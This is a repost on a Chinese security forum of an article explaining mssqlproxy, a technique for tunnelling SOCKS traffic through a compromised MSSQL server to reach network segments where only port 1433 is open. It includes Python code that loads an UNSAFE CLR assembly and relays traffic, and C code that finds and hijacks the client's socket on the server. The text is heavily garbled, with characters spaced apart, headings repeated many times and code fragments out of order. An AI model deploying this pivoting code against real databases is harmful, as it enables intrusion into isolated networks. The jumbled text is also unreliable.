搜索

[6967] 2020-10-09_mssqlproxy实现

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-17
2020-10-09_mssqlproxy实现 m s s q l p r o x y 实 现 E 安 全   2 0 2 0 - 1 0 - 0 9 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 m a o m a o 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 h t t p : / / g r e a t a g a i n . d b a p p s e c u r i t y . c o m . c n / #   / b o o k ? i d = 6 2 5 3 & t y p e _ i d = 1 介 绍 了 如 何 利 用 m s s q l c l i e n t 通 过 m s s q l 作 为 s o c k s 代 理 ， 打 通 只 开 放 1 4 3 3 端 口 的 隔 离 网 段 。 本 文 介 绍 其 技 术 原 理 以 及 如 何 实 现 。 N o . 1 N o . 1 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 本 地 代 理 端 首 先 ， 利 用 i m p a c k e t 套 件 的 t d s . p y 处 理 m s s q l 登 录 过 程 （ T D S - - h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / o p e n s p e c s / w i n d o w s _ p r o t o c o l s / m s - t d s / b 4 6 a 5 8 1 a - 3 9 d e - 4 7 4 5 - b 0 7 6 - e c 4 d b b 7 d 1 3 e c ， 表 格 数 据 流 协 议 ， 是 一 种 数 据 库 服 务 器 和 客 户 端 间 交 互 的 应 用 层 协 议 ， 为 微 软 S Q L   S e r v e r 数 据 库 和 S y b a s e 公 司 数 据 库 产 品 所 采 用 ） 。 在 登 录 之 前 返 回 了 连 接 数 据 库 的 套 接 字 对 象 后 续 本 地 的 s o c k s 5 流 量 便 通 过 此 s o c k 通 过 1 4 3 3 端 口 发 送 到 数 据 库 服 务 器 。 接 着 ， 开 启 c l r ， 注 册 存 储 过 程 M i c r o s o f t . S q l S e r v e r . P r o x y ， 以 此 启 动 数 据 库 代 理 功 能 。 把 s o c k s 服 务 端 处 理 逻 辑 ( r e c i c l a d o r . d l l ) 上 传 到 数 据 库 服 务 器 ， 并 通 过 存 储 过 程 启 动 之 。 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。         d e f   c o n n e c t ( s e l f ) :                 a f ,   s o c k t y p e ,   p r o t o ,   c a n o n n a m e ,   s a   =   s o c k e t . g e t a d d r i n f o ( s e l f . s e r v e r ,   s e l f . p o r t ,   0 ,   s o c k e t . S O C K _ S T R E A M ) [ 0 ]                                 s o c k   =   s o c k e t . s o c k e t ( a f ,   s o c k t y p e ,   p r o t o )                                 t r y :                         s o c k . c o n n e c t ( s a )                 e x c e p t   E x c e p t i o n :                         #   i m p o r t   t r a c e b a c k                         #   t r a c e b a c k . p r i n t _ e x c ( )                         r a i s e                                 s e l f . s o c k e t   =   s o c k                 r e t u r n   s o c k m s s q l . b a t c h ( " U S E   m s d b ;   C R E A T E   A S S E M B L Y   [ % s ]   F R O M   0 x % s   W I T H   P E R M I S S I O N _ S E T   =   U N S A F E "   %   ( A S S E M B L Y _ N A M E ,   d a t a ) ) r e s   =   m s s q l . b a t c h ( " U S E   m s d b ;   S E L E C T   C O U N T ( * )   A S   n   F R O M   s y s . a s s e m b l i e s   w h e r e   n a m e   =   ' % s ' "   %   A S S E M B L Y _ N A M E ) [ 0 ] [ ' n ' ] i f   r e s   = =   1 :           l o g g i n g . i n f o ( " A s s e m b l y   s u c c e s s f u l l y   i n s t a l l e d " )                                   m s s q l . b a t c h ( " C R E A T E   P R O C E D U R E   [ d b o ] . [ % s ] "                                                 "   @ p a t h   N V A R C H A R   ( 4 0 0 0 ) ,   @ c l i e n t _ a d d r   N V A R C H A R   ( 4 0 0 0 ) ,   @ c l i e n t _ p o r t   I N T E G E R "                                                 "   A S   E X T E R N A L   N A M E   [ % s ] . [ S t o r e d P r o c e d u r e s ] . [ s p _ s t a r t _ p r o x y ] "   %   ( P R O C E D U R E _ N A M E ,   A S S E M B L Y _ N A M E ) )         t r y :                 #   m s s q l . b a t c h ( " D E C L A R E   @ i p   v a r c h a r ( 1 5 ) ;   S E T   @ i p = T R I M ( C O N V E R T ( c h a r ( 1 5 ) ,   C O N N E C T I O N P R O P E R T Y ( ' c l i e n t _ n e t _ a d d r e s s ' ) ) ) ; "                 #                         " E X E C   m s d b . d b o . % s   ' % s ' ,   @ i p ,   % d "   %   ( P R O C E D U R E _ N A M E ,   a r g s . r e c i c l a d o r ,   l p o r t ) ,   t u p l e m o d e = F a l s e ,   w a i t = F a l s e )                 m s s q l . b a t c h ( " D E C L A R E   @ i p   v a r c h a r ( 1 5 ) ;   S E T   @ i p = R T R I M ( L T R I M ( C O N V E R T ( c h a r ( 1 5 ) ,   C O N N E C T I O N P R O P E R T Y ( ' c l i e n t _ n e t _ a d d r e s s ' ) ) ) ) "                                         " E X E C   m s d b . d b o . % s   ' % s ' ,   @ i p ,   % d "   %   ( P R O C E D U R E _ N A M E ,   a r g s . r e c i c l a d o r ,   l p o r t ) ,   t u p l e m o d e = F a l s e ,   w a i t = F a l s e )                 d a t a   =   m s s q l . s o c k e t . r e c v ( 2 0 4 8 )                 i f   ' P o w e r e d   b y   b l a c k a r r o w . n e t '   i n   d a t a :                         l o g g i n g . i n f o ( " A C K   f r o m   s e r v e r ! " )                         m s s q l . s o c k e t . s e n d a l l ( " A C K " )                 e l s e :                         l o g g i n g . e r r o r ( " c a n n o t   e s t a b l i s h   c o n n e c t i o n " )                         r a i s e   E x c e p t i o n ( ' c a n n o t   e s t a b l i s h   c o n n e c t i o n ' )                 s . l i s t e n ( 1 0 )                 w h i l e   T r u e :                         c l i e n t ,   c   =   s . a c c e p t ( )
这 里 的 C O N N E C T I O N P R O P E R T Y 为 m s s q l 内 置 函 数 ， 可 获 得 数 据 库 连 接 信 息 ， 此 处 返 回 客 户 端 i p 地 址 。 之 后 ， 将 客 户 端 I P 和 客 户 端 端 口 l p o r t 传 入 到 r e c i c l a d o r . d l l 。 r e c i c l a d o r 返 回 " P o w e r e d   b y   b l a c k a r r o w . n e t " 表 示 连 接 建 立 。 之 后 ， 启 动 转 发 线 程 。 在 本 地 建 立 一 个 s o c k e t ， 监 听 1 3 3 7 端 口 ， 中 转 p r o x y c h a i n s 发 送 给 数 据 库 连 接 s o c k e t ， 再 发 送 到 数 据 库 服 务 器 。 S e l e c t . s e l e c t 实 现 了 I / O 复 用 ， 当 c l i e n t 或 者 s e r v e r 套 接 字 收 到 数 据 时 ， 线 程 唤 醒 ， 转 发 数 据 。 N o . 2 N o . 2 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 数 据 库 代 理 端 主 要 是 r e c i c a l d o r 进 行 逻 辑 处 理 ， 共 享 客 户 端 连 接 数 据 库 服 务 器 的 s o c k e t 套 接 字 。 首 先 ， 遍 历 系 统 中 存 在 的 套 接 字 ， 并 通 过 客 户 端 i p 和 端 口 进 行 匹 配 ， 找 到 客 户 端 套 接 字 对 象 接 着 ， 使 用 W S A D u p l i c a t e S o c k e t ( h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / w i n d o w s / w i n 3 2 / a p i / w i n s o c k 2 / n f - w i n s o c k 2 - w s a d u p l i c a t e s o c k e t a ? r e d i r e c t e d f r o m = M S D N ) 共 享 该 套 接 字 。 对 要 共 享 的 s o c k e t 调 用 W S A D u p l i c a t e S o c k e t ， 将 返 回 的 W S A P R O T O C O L _ I N F O 结 构 体 传 递 给 目 标 进 程 ， 然 后 目 标 进 程 用 这 个 结 构 体 调 用 W S A S o c k e t 创 建 一 个 新 的 s o c k e t 描 述 符 ， 这 个 s o c k e t 即 指 向 原 来 的 s o c k e t 。 每 次 生 成 的 W S A P R O T O C O L _ I N F O 结 构 只 能 用 于 创 建 一 次 共 享 s o c k e t 。 另 外 就 是 W i n d o w s 并 没 有 对 共 享 s o c k e t 有 I O 访 问 控 制 的 机 制 ， 这 意 味 这 如 果 在 新 的 s o c k e t 上 调 用 r e c v ， 那 么 原 程 序 就 没 法 再 r e c v 了 ； 如 果 两 个 程 序 同 时 调 用 了 s e n d 而 没 有 执 行 同 步 机 制 ， 那 么 s e n d 的 数 据 也 将 会 是 乱 掉 的 。                         c l i e n t ,   c   =   s . a c c e p t ( )                         t h r e a d . s t a r t _ n e w _ t h r e a d ( p r o x y _ w o r k e r ,   ( m s s q l . s o c k e t ,   c l i e n t ) )         w h i l e   T r u e :                 r e a d a b l e ,   w r i t a b l e ,   e r r f d s   =   s e l e c t . s e l e c t ( [ c l i e n t ,   s e r v e r ] ,   [ ] ,   [ ] ,   6 0 )                 f o r   s o c k   i n   r e a d a b l e :                         i f   s o c k   i s   c l i e n t :                                 d a t a   =   c l i e n t . r e c v ( 2 0 4 8 )                                 i f   l e n ( d a t a )   = =   0 :                                         l o g g i n g . i n f o ( " C l i e n t   d i s c o n n e c t e d ! " )                                         l o g g i n g . d e b u g ( " S e n d i n g   e n d - o f - t r a n m i s s i o n " )                                         s e r v e r . s e n d a l l ( M S G _ E N D _ O F _ T R A N S I M I S S I O N )                                         r e t u r n                                 l o g g i n g . d e b u g ( " C l i e n t :   % s "   %   d a t a . e n c o d e ( ' h e x ' ) )                                 s e r v e r . s e n d a l l ( d a t a )                         e l i f   s o c k   i s   s e r v e r :                                 d a t a   =   s e r v e r . r e c v ( 2 0 4 8 )                                 i f   l e n ( d a t a )   = =   0 :                                         l o g g i n g . i n f o ( " S e r v e r   d i s c o n n e c t e d ! " )                                         r e t u r n                                 l o g g i n g . d e b u g ( " S e r v e r :   % s "   %   d a t a . e n c o d e ( ' h e x ' ) )                                 c l i e n t . s e n d a l l ( d a t a )     i n t   i ;     i n t   l e n ;     s t r u c t   s o c k a d d r _ i n   s o c k a d d r ;     c h a r   i p b u f [ I N E T _ A D D R S T R L E N ] ;     W S A S t a r t u p ( M A K E W O R D ( 2 ,   0 ) ,   & w s a D a t a ) ;     i n t   m a x _ s o c k e t   =   6 5 5 3 6 ;     i n t   t a r g e t   =   0 ;     / /   I t e r a t e   o v e r   a l l   s o c k e t s     f o r   ( i   =   1 ;   i   <   m a x _ s o c k e t ;   i + + )   {           l e n   =   s i z e o f ( s o c k a d d r ) ;         / /   C h e c k   i f   i t   i s   a   s o c k e t         i f   ( g e t p e e r n a m e ( ( S O C K E T ) i ,   ( S O C K A D D R * ) & s o c k a d d r ,   & l e n )   = =   0 )   {             i f   ( s t r c m p ( i n e t _ n t o a ( s o c k a d d r . s i n _ a d d r ) ,   c l i e n t _ a d d r )   = =   0   & &   ( c l i e n t _ p o r t   = =   0   | |   s o c k a d d r . s i n _ p o r t   = =   h t o n s ( c l i e n t _ p o r t ) ) )   {                 t a r g e t   =   i ;                 b r e a k ;             }         }     }         S O C K E T   d u p   =   I N V A L I D _ S O C K E T ;         W S A P R O T O C O L _ I N F O   s o c k s t a t e ;         i f   ( W S A D u p l i c a t e S o c k e t ( t a r g e t ,   G e t C u r r e n t P r o c e s s I d ( ) ,   & s o c k s t a t e )   = =   0 )         {             d u p   =   W S A S o c k e t ( F R O M _ P R O T O C O L _ I N F O ,   F R O M _ P R O T O C O L _ I N F O ,   F R O M _ P R O T O C O L _ I N F O ,   & s o c k s t a t e ,   0 ,   0 ) ;
最 后 ， 便 是 利 用 共 享 的 套 接 字 转 发 处 理 s o c k s 5 流 量 。 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 普 京 呼 吁 俄 美 重 启 信 息 安 全 领 域 双 边 合 作   却 被 美 方 一 口 回 绝 突 发 ！ 达 飞 轮 船 疑 似 被 黑 客 攻 击   至 此 全 球 四 大 航 运 公 司 全 部 “ 中 招 ” 谷 歌 P l a y 商 店 下 架 了 1 7 款 恶 意 软 件   这 里 有 你 常 用 的 应 用 程 序 吗 ？ 外 交 部 霸 气 回 应 ： 增 进 自 身 网 络 安 全   保 护 关 键 信 息 基 础 设 施 免 受 威 胁 和 破 坏 小 E “ 拍 了 拍 你 ”   来 吃 秋 天 的 第 一 口 月 饼 呀 ！ ▼ 稿 件 合 作     1 5 5 5 8 1 9 2 9 5 9 喜 欢 记 得 打 赏 小 E 哦 ！             d u p   =   W S A S o c k e t ( F R O M _ P R O T O C O L _ I N F O ,   F R O M _ P R O T O C O L _ I N F O ,   F R O M _ P R O T O C O L _ I N F O ,   & s o c k s t a t e ,   0 ,   0 ) ;         }         i f   ( d u p   = =   I N V A L I D _ S O C K E T )   {             r e t u r n   - 1 ;   / /   e x i t   : (         }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理